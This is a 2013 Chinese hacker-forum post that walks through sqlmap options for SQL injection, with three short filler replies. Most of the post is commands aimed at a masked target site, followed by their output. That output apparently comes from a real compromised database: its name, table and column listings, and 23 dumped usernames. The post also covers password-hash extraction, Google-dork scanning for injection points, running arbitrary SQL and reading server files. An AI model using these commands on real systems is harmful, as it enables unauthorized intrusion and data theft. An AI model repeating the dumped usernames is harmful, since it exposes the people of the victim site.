搜索
查看: 634|回复: 3

SQLmap语句实战记录

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-10-15 12:18:12 | 显示全部楼层 |阅读模式
【-u/--url="url"】 #后面接目标网址,表示测试的目标地址
【-v/--level=number】 #number=[0-5],表示测试结果的详细程度。数值越大,内容越详细。



sqlmap.py -u “url”  -v 0-5

sqlmap.py --url="url" --level=0-5

通过以上参数,会得到:
1、目标的操作系统信息
2、数据库的类型[MySQL/MSSQL/Access]、版本号
3、Web服务器版本、版本号
4、支持的脚本类型



Example:
sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --level=1
sqlmap.py -u "http://www.xxxx.com/index.php?ID=111" --v 1
Result:
web server operating system: Linux Red Hat Enterprise 3 (Taroon)
web application technology: PHP 4.3.2, Apache 2.0.46
back-end DBMS: MySQL 4
【--current-db】 #表示获取当前数据库的名称。但实测中对Access的数据库不能获得数据库名称



sqlmay.py --url="url" --current-db
通过以上参数,会得到:
1、当前所用的数据库的名称



Example:
sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --current-db
Result:
current database:    'greenbergdevDB'
【--dbs】#列举所有的数据库名单。我这里只列出来一个。可能是因为权限的问题。



sqlmap.py --url="url" --dbs


Exampl:
sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --dbs --level=1
Result:
available databases [1]:
  • greenbergdevDB
    【--current-user】 #表示获取当前数据库的用户名



    sqlmap.py --url="url" --current-user
    通过以上参数,会得到:
    1、当前数据库的用户名



    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --current-user --level
    Result:
    current user:    'greenbergUser@localhost'
    【--users】 #表示枚举数据库所有用户名称。但在我实测过程中什么都没枚举出来。可能是权限不够。



    sqlmap.py --url="url" --users


    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --users
    Result:
    [INFO] retrieved:
    [CRITICAL] unable to retrieve the number of database users
    正常结果应类似于:



    # database management system users [5]:
    # ‘debian-sys-maint’@'localhost’
    # ‘root’@'127.0.0.1′
    # ‘root’@'leboyer’
    # ‘root’@'localhost’
    # ‘testuser’@'localhost’
    【--passwords】 #表示枚举数据库中所有用户的连接密码.我实测过程中,什么也没枚举出来,可能是权限不够。



    sqlmap.py --url="url" --passwords


    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --passwords
    Result:
    [CRITICAL] unable to retrieve the number of database users
    正常结果应类似于:



    database management system users password hashes:
    # debian-sys-maint [1]:
    password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    # root [1]:
    password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
    # testuser [1]:
    password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
    【-U】#表示指定数据库用户,配合其他参数使用。比如 --passwords。实测过程中未能得到指定用户的密码。

    sqlmap.py --url="url" --password -U user_name
    通过以上参数会得到:
    1、指定用户的密码

    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --passwords -U greenbergUser@localhost --level 1
    Result:
    [WARNING] unable to retrieve the number of password hashes for user 'greenbergUser'
    【-D】 #表示指定使用的数据库。配合其他参数使用。比如 --tables -D "db_name" 表示从数据库db_name中获取所有表名。参数 --tables 表示获得表名. 实测过程中如果不使用-D 指定数据库 ,那么会进入暴力破解表名。因为我这里只有一个数据库。所以暴力破解到了表名。如果存在多个数据库,结果未知。暴力破解过程很慢,会提示你设置线程数量。建议加上-D参数指定数据库,速度飞快,瞬间出结果。

    sqlmap.py --url="url" --tables -D "db_name"
    通过以上参数会得到:
    1、指定的数据库中所有的表名


    Example For MySQL:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --tables -D "greenbergdevDB" --level=1
    Result:
    Database: greenbergdevDB
    [5 tables]
    +------------+
    | article    |
    | media      |
    | permission |
    | roles      |
    | users      |
    +------------+
    【-T】#指定使用的表名。配合其他参数使用。比如 --columns -T "table_name" -D "db_name" 获取数据库db_name中table_name表里所有的字段即:列名。参数 --columns 表示获取列名。



    sqlmap.py --url="url" --columns -T "table_name"  -D "db_name"
    通过以上参数会得到:
    1、指定的数据库中指定表的所有的列名。



    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --columns -T "users" -D "greenbergdevDB" --level=1
    Result:
    Database: greenbergdevDB
    Table: users
    [11 columns]
    +-------------+---------+
    | Column      | Type    |
    +-------------+---------+
    | description | numeric |
    | email       | numeric |
    | filename    | numeric |
    | first_name  | numeric |
    | id          | numeric |
    | keywords    | numeric |
    | last_name   | numeric |
    | locked      | numeric |
    | published   | numeric |
    | templateid  | numeric |
    | username    | numeric |
    +-------------+---------+
    【--tables】#表示枚举表名。建议配合 -D 参数指定数据库。否则会进入暴力破解。速度很慢

    sqlmap.py --url="url" --tables
    【--columns】#表示枚举列明.建议配合 -T、-D 参数指定数据库及表名。否则会进入暴力破解,速度很慢。

    sqlmap.py --url="url" --columns
    【-C】 #表示指定使用的列名。建议配合 --dump、 -T、-D使用。 例如:

    sqlmap.py --url="url" --dump -T "table_name" -C "colunm_name" -D "db_name"
    通过以上参数可以得到:
    1、指定数据库中指定表中指定列的内容。



    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --dump -T "users" -C "username" -D "greenbergdevDB" --level=1
    Result:
    Database: greenbergdev
    Table: users
    [23 entries]
    +-------------+
    | username    |
    +-------------+
    | Arand       |
    | bfowks      |
    | billyfowks  |
    | bkrauss     |
    | ckim        |
    | crichardson |
    | dlieberman  |
    | drooney     |
    | eseifert    |
    | esenn       |
    | gqrresearch |
    | gwolfe      |
    | jlacayo     |
    | jlein       |
    | jmacek      |
    | katew       |
    | krivera     |
    | kstewart    |
    | kwitt       |
    | LGroves     |
    | lmairl1     |
    | mgroch      |
    | MIsaacs     |
    +-------------+
    【-dump】 #列出自定的内容,配合 -T、-D、-C使用。例子如上。



    sqlmap.py --url="url" --dump -T "table_name" -C "colunm_name" -D "db_name"
    【-dump-all】 #列出整个数据库的内容。



    sqlmap.py --url="url" --dump-all
    【-exclude-sysdbs】 #列出除缺省的数据库以外的数据库,也就是说列出用户自创建的数据库。



    sqlmap.py --url="url" -exclude-sysdbs


    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -exclude-sysdbs
    Result:
    测试中,由于权限问题,我的没能列出来。

    【--sql-query】 #表示执行自定义的SQL语句。

    sqlmap.py --url="url" --sql-query "SQL"
    通过以上参数可以得到:
    1、执行自定义的SQL语句
    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --sql-query "select username from users" --level=1
    Result:
    select username from users [2]:
  • Arand
  • bfowks
    【-g】 #使用google dork来对指定的站点进行批量扫描注入点。



    sqlmap.py -g "site:url inurl:index.php”
    通过以上参数可以得到:
    1、类似于阿D 明小子的批量分析注入点?



    Example:
    sqlmap.py -g "site:http://www.xxxx.com inurl:index.php" --level=1
    Result:
    [INFO] first request to Google to get the session cookie
    [INFO] using Google result page #1
    [CRITICAL] unable to find results for your Google dork expression
    实际测试过程中,没有成功。

    【--threads】 #自定义扫描线程数,用来加速扫描。



    sqlmap.py --url="url" --threads=number
    通过以上参数可以得到:
    1、用自定义的线程数量进行扫描分析,提高速度。



    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?id=110" --current-db --threads=20
    【--is-dba】 判断当前用户是否具有系统权限

    sqlmap.py --url="url" --is-dba
    通过以上参数可以得到:
    1、判断当前用户是否具有系统权限。



    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --is-dba --level=1
    Result:
    current user is DBA:    'False'
    【-b】 #获得服务器的banner:

    sqlmap.py --url="url" -b
    通过以上参数可以得到:
    1、获取数据库版本的详细信息。

    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -b --level=1
    Result:
    web server operating system: Linux Red Hat Enterprise 3 (Taroon)
    web application technology: PHP 4.3.2, Apache 2.0.46
    back-end DBMS: MySQL 4
    banner:    '4.1.12'
    【-file】 #读取具体文件内容。类似于 LOAD_FILE()函数的功能。

    sqlmap.py --url="url" -file "filename"


    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -flle "d:/log.txt"
    【-o】 #把结果输出到指定文件



    sqlmap.py --url="url" -o "outfile"


    Example:
    sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -o "d:/log.txt"
  • 您可以更新记录, 让好友们知道您在做什么...
    854955425 该用户已被删除
    发表于 2013-10-15 12:18:26 | 显示全部楼层
    帮帮顶顶!!
    专业回帖 该用户已被删除
    发表于 2013-10-15 12:51:41 | 显示全部楼层
    路过,支持一下啦
    x7hack 该用户已被删除
    发表于 2013-10-15 21:53:08 | 显示全部楼层
    这玩意不错。可以玩玩那
    您需要登录后才可以回帖 登录 | Join BUC

    本版积分规则

    Powered by Discuz!

    © 2012-2015 Baiker Union of China.

    快速回复 返回顶部 返回列表